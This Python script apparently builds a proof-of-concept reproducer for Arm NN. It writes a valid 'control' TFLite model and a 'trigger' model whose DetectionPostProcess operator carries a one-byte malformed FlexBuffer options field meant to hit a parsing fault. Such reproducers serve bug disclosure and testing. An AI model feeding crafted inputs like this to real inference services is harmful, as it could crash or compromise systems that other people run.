#!/usr/bin/env python3
import argparse
import copy
import json
import sys
from pathlib import Path


FLATBUFFERS_PYTHON = (
    Path(__file__).resolve().parents[3] / "vendor" / "flatbuffers" / "python"
)
sys.path.insert(0, str(FLATBUFFERS_PYTHON))

from flatbuffers import flexbuffers  # noqa: E402


def base_model(custom_options: list[int], description: str) -> dict:
    return {
        "version": 3,
        "operator_codes": [
            {
                "builtin_code": "CUSTOM",
                "custom_code": "TFLite_Detection_PostProcess",
                "version": 1,
            }
        ],
        "subgraphs": [
            {
                "tensors": [
                    {
                        "shape": [1, 6, 4],
                        "type": "UINT8",
                        "buffer": 0,
                        "name": "box_encodings",
                        "quantization": {
                            "min": [0.0],
                            "max": [255.0],
                            "scale": [1.0],
                            "zero_point": [1],
                        },
                    },
                    {
                        "shape": [1, 6, 3],
                        "type": "UINT8",
                        "buffer": 1,
                        "name": "scores",
                        "quantization": {
                            "min": [0.0],
                            "max": [255.0],
                            "scale": [0.01],
                            "zero_point": [0],
                        },
                    },
                    {
                        "shape": [6, 4],
                        "type": "UINT8",
                        "buffer": 2,
                        "name": "anchors",
                        "quantization": {
                            "min": [0.0],
                            "max": [255.0],
                            "scale": [0.5],
                            "zero_point": [0],
                        },
                    },
                    {
                        "type": "FLOAT32",
                        "buffer": 3,
                        "name": "detection_boxes",
                        "quantization": {},
                    },
                    {
                        "type": "FLOAT32",
                        "buffer": 4,
                        "name": "detection_classes",
                        "quantization": {},
                    },
                    {
                        "type": "FLOAT32",
                        "buffer": 5,
                        "name": "detection_scores",
                        "quantization": {},
                    },
                    {
                        "type": "FLOAT32",
                        "buffer": 6,
                        "name": "num_detections",
                        "quantization": {},
                    },
                ],
                "inputs": [0, 1, 2],
                "outputs": [3, 4, 5, 6],
                "operators": [
                    {
                        "opcode_index": 0,
                        "inputs": [0, 1, 2],
                        "outputs": [3, 4, 5, 6],
                        "builtin_options_type": "NONE",
                        "custom_options": custom_options,
                        "custom_options_format": "FLEXBUFFERS",
                    }
                ],
                "name": "main",
            }
        ],
        "description": description,
        "buffers": [
            {},
            {},
            {
                "data": [
                    1,
                    1,
                    2,
                    2,
                    1,
                    1,
                    2,
                    2,
                    1,
                    1,
                    2,
                    2,
                    1,
                    21,
                    2,
                    2,
                    1,
                    21,
                    2,
                    2,
                    1,
                    201,
                    2,
                    2,
                ]
            },
            {},
            {},
            {},
            {},
        ],
    }


def main() -> None:
    parser = argparse.ArgumentParser()
    parser.add_argument("--output-dir", type=Path, required=True)
    args = parser.parse_args()

    valid_options = flexbuffers.Dumps(
        {
            "use_regular_nms": True,
            "max_detections": 3,
            "max_classes_per_detection": 1,
            "detections_per_class": 1,
            "num_classes": 2,
            "nms_score_threshold": 0.0,
            "nms_iou_threshold": 0.5,
            "h_scale": 5.0,
            "w_scale": 5.0,
            "x_scale": 10.0,
            "y_scale": 10.0,
        }
    )

    control = base_model(
        list(valid_options),
        "Arm NN DetectionPostProcess valid FlexBuffer control",
    )
    trigger = copy.deepcopy(control)
    trigger["description"] = (
        "Arm NN DetectionPostProcess one-byte malformed FlexBuffer trigger"
    )
    trigger["subgraphs"][0]["operators"][0]["custom_options"] = [0]

    args.output_dir.mkdir(parents=True, exist_ok=True)
    for name, model in (("control", control), ("trigger", trigger)):
        path = args.output_dir / f"{name}.json"
        path.write_text(json.dumps(model, indent=2) + "\n", encoding="utf-8")
        print(f"{path}: custom_options={len(model['subgraphs'][0]['operators'][0]['custom_options'])}")


if __name__ == "__main__":
    main()